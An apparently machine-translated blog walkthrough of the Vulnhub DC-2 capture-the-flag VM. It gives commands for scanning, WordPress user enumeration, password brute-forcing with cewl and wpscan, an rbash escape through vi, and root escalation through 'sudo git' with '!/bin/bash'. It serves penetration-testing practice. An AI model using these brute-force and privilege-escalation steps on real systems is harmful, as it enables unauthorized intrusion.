当前位置:网站首页>vulnhub DC: 2
vulnhub DC: 2
2022-06-24 22:59:00 【Fairy elephant】
Infiltrate ideas :
nmap scanning ----nikto scanning ----wpscan enumeration wordpress user ----cewl Crawl for words ----wpscan Blast wordpress password ----tom user ssh Log in and vi Bypass rbash----su Switch to jerry----sudo git Raise the right
environmental information :
Drone aircraft :192.168.101.75
attack :192.168.101.34
Specific steps :
1、nmap scanning
sudo nmap -sV -sC -p- 192.168.101.75Scan to 80(http) and 7744(ssh)

2、nikto Scan website , modify hosts file
nikto -host http://192.168.101.75
nikto Scan the website and find that the root directory of the website is redirected to http://dc-2/, combination nmap Tips written in the page title in the scanning results “http-title: Did not follow redirect to http://dc-2/”, First in the attack plane hosts Add target aircraft to the document ip and dc-2 Correspondence of .
Because the attacker is kali, Therefore, what needs to be modified is /etc/hosts
sudo vim /etc/hostsAdd the highlighted one , Then save and exit

Then the browser accesses http://dc-2/, In the bright Flag The page was found bright Flag1, The content is about to log into the website and find the next flag, But the usual password dictionary is invalid , Need to use cewl Generate a password dictionary

3、wpscan Enumerate site users
To log in to a website, you must first know which users there are , Because the target website is wordpress, So it can be used wpscan Enumerate
wpscan --url http://dc-2/ -eFound three users :admin、jerry、tom

Save these three user names in a file user.txt in , A line of one , spare

4、cewl Crawl for words ,wpscan Burst code
use cewl Crawl the words contained in the website , And save to file dc2.txt in
cewl http://dc-2/ -w dc2.txtAnd then use wpscan Blast website user name and password , The user name dictionary uses the... In the previous step user.txt, For password dictionary dc2.txt
wpscan --url http://dc-2/ -U user.txt -P dc2.txtGet two results
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient

5、jerry Sign in wordpress Find out flag2
Browser access http://dc-2/wp-admin/, Go to the login page , User name jerry, password adipiscing Log in
stay Pages Page hits Flag2

Find the second flag, This flag Prompt to try another entry point

6、tom user ssh Sign in ,vi Bypass rbash
ssh Only tom Can log in successfully ,jerry Unable to login successfully
ssh [email protected] -p 7744The password is the step 4 From the explosion parturient
After successful login, I found ,tom In order to rbash Logon , Many commands do not support

adopt vi Bypass rbash:
Drone aircraft shell Input vi
And then in vi Enter... On the interface of
:set shell=/bin/bash
:shell
Then press enter , You can bypass rbash, obtain bash
But for this target plane , There are still many commands that cannot be executed , This is due to the target's environment variables $PATH=/home/tom/usr/bin, There are only a few commands in this directory

therefore , It needs to be revised $PATH A variable's value
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
First, you can use cat Command view flag3.txt 了 ,flag3 You can use su Command switch to jerry user

7、sudo git Raise the right
Switch to jerry, Input
su - jerryAnd then enter the steps 4 in wpscan Blasted jerry Password adipiscing

/home/jerry Find below flag4.txt

sudo -lFind out jerry We can use root execute git command , The command can sudo Raise the right


First, enter... On the target command line
sudo git -p help configAnd then in the beginning help Input... In the interface
!/bin/bashYou can get root Of shell

stay /root In the directory final-flag.txt

边栏推荐
- Certificate photo processing
- win10或win11打印机无法打印
- [personal experiment report]
- China Sky Lantern market trend report, technical dynamic innovation and market forecast
- 非单文件组件
- Research and investment strategy report on China's nano silver wire conductive film industry (2022 Edition)
- 面试害怕被问MySQL相关问题 ?这份三万字精华总结 + 面试100 问,吊打面试官完全够了
- 2022年高压电工考试模拟100题及在线模拟考试
- 2022-06-16 work record --js- judge the number of digits in string type digits + judge the number of digits in numeric type digits + limit the text length (display n words at most, exceeding...)
- Data center basic network platform
猜你喜欢

别再乱用了,这才是 @Validated 和 @Valid 的真正区别!!!

ACL (access control list) basic chapter - Super interesting learning network

Cases of addition, deletion, modification and search of C # learning for two years and C # import and export (de duplication)

Development specification - parameter verification exception, exception return prompt section

Leetcode: calculate the number of elements less than the current element on the right (sortedlist+bisect\u left)

大厂面试必问:如何解决TCP可靠传输问题?8张图带你详细学习

CDN principle

vulnhub DC: 2

详细了解Redis的八种数据类型及应用场景分析
![[untitled]](/img/ed/847e678e5a652da74d04722bbd99ff.jpg)
[untitled]
随机推荐
Certificate photo processing
Learn more about redis' eight data types and application scenario analysis
find your present (2)
京东618会议平板排行榜公布,新锐黑马品牌会参谋角逐前三名,向国货老大华为学习
研究生宿舍大盘点!令人羡慕的研究生宿舍来了!
Feign project construction
Design and implementation of spark offline development framework
Fanuc robot_ Introduction to Karel programming (1)
Annotation
docker安装redis-简单而无坑
【武汉大学】考研初试复试资料分享
Database transaction Transanction
Research and investment strategy report on China's bridge anticorrosive coating industry (2022 Edition)
开发规范~参数校验异常、异常返回提示切面
[ingénierie logicielle] points clés à la fin de la période
Solution to the login error of tangdou people
上新了,华为云开天aPaaS
Analyze the implementation process of oauth2 distributed authentication and authorization based on the source code
See how sparksql supports enterprise level data warehouse
LeetCode Algorithm 剑指 Offer 52. 两个链表的第一个公共节点